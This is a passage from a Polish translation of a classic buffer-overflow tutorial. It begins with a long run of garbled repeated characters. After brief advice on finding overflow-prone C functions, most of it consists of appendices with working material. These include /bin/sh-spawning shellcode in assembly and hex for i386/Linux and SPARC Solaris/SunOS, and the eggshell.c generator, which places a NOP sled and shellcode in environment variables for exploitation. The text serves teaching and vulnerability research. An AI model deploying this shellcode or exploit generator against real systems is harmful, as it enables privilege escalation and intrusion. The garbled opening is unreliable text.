°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ Za pierwszym razem ! Nasze szanse zwiekszyly sie znacznie. Zaleznie od tego jak duzo danych srodowiskowych exploit porownal z programem ktory starasz sie przepelnic odgadniety adres moze byc albo na niski albo za wysoki. Wyprobuj oba warianty z pozytywnymi i negatywnymi offsetami. Znajdowanie przepelnien bufora ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Jak stwierdzono wczesniej, przepelnienia bufora sa wynikiem wpychania do bufora wiekszej ilosci informacji niz moze on pomiescic. Jako ze C nie ma zadnych wbudowanych mechanizmow sprawdzania granic, przepelnienia czesto manifestuja sie jako pisanie poza granice tablicy. Standartowa biblioteka C zapewnia pewna liczbe funkcji sluzacych do kopiowania i dodawania ciagow znakowych bez sprawdzania granic. Sa to: strcat(), strcpy(), sprintf(), i vsprintf(). Te funkcje operuja na zakonczonych NULL ciagach znakowych bez sprawdzania czy przekazany im ciag nie przepelni bufora. gets() to funkcja ktora czyta z standartowego wejscia linie az napotka EOF lub znak nowej lini. Rodzina funkcji scanf() takze moze stanowic problem jesli formatujesz ciag uzywajac nie-zerowych ciagow (%s) lub znakow z danego zakresu (%[]), i tablica znakowa ktora wskazales jest zbyt mala, a nie podales opcjonalnego maksymalnego rozmiaru formatowanego pola. Jesli celem ktorejkolwiek z tych funkcji jest bufor statycznych rozmiarow, a drugi argument pochodzi w jakis sposob od uzytkownika to istnieja duze szanse iz wystapi przepelnienie bufora ktore mozna wykorzystac. Kolejna czesta konstrukcja programistyczna jest petla while w ktorej do bufora czytane sa znaki az do napotkania znaku konca lini, konca pliku, albo az do osiagniecia jakiejs innej granicy. Ten typ konstrukcji uzywa zazwyczaj jednej z tych funkcji: getc(), fgetc(), albo getchar(). Jesli nie ma zadnych testow w petli co do mozliwosci wystapienia przepelnienia, takie programy sa latwe do wykorzystania. Podsumowujac, grep(1) to twoj przyjaciel. Zrodla darmowych systemow operacyjnych i ich programow uzytkowych sa powszechnie dostepne. Ten fakt staje sie calkiem interesujacy kiedy zdasz sobie sprawe z tego iz wiele systemow komercyjnych pochodzi od tych darmowych. Uzywaj zrodel d00d. Dodatek A - Shellcode dla roznych systemow operacyjnych / architektur ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Dodatek B - Ogolny program do przepelnienia bufora ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------